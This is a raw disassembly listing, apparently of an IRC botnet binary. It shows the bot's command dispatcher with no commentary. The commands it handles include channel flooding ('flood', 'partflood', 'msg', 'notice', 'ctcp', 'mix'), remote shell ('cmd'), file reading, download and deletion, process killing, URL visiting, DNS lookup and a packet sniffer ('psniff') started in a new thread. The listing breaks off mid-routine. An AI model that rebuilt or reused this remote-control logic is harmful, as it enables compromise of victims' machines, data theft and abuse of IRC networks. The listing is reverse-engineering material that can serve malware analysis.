; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C	; closesocket


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset sub_412B61
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
